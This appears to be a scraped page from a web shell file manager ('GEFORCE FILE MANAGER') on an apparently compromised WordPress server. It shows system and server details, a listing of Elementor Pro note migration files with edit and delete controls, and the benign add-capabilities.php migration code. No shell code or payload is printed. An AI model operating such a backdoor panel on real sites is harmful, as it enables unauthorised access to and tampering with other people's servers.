[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
notes
/
database
/
migrations
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 add-author-display-name.php
642 B
SET
[ EDIT ]
|
[ DEL ]
📄 add-capabilities.php
805 B
SET
[ EDIT ]
|
[ DEL ]
📄 add-note-position.php
661 B
SET
[ EDIT ]
|
[ DEL ]
📄 add-route-post-id.php
638 B
SET
[ EDIT ]
|
[ DEL ]
📄 initial.php
2,065 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: add-capabilities.php
<?php namespace ElementorPro\Modules\Notes\Database\Migrations; use ElementorPro\Core\Database\Base_Migration; use ElementorPro\Modules\Notes\User\Capabilities; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Add_Capabilities extends Base_Migration { /** * @inheritDoc */ public function up() { $admin = get_role( 'administrator' ); if ( $admin instanceof \WP_Role ) { foreach ( Capabilities::all() as $capability ) { $admin->add_cap( $capability ); } } } /** * @inheritDoc */ public function down() { $roles = array_values( wp_roles()->role_objects ); foreach ( $roles as $role ) { if ( ! ( $role instanceof \WP_Role ) ) { continue; } foreach ( Capabilities::all() as $cap ) { $role->remove_cap( $cap ); } } } }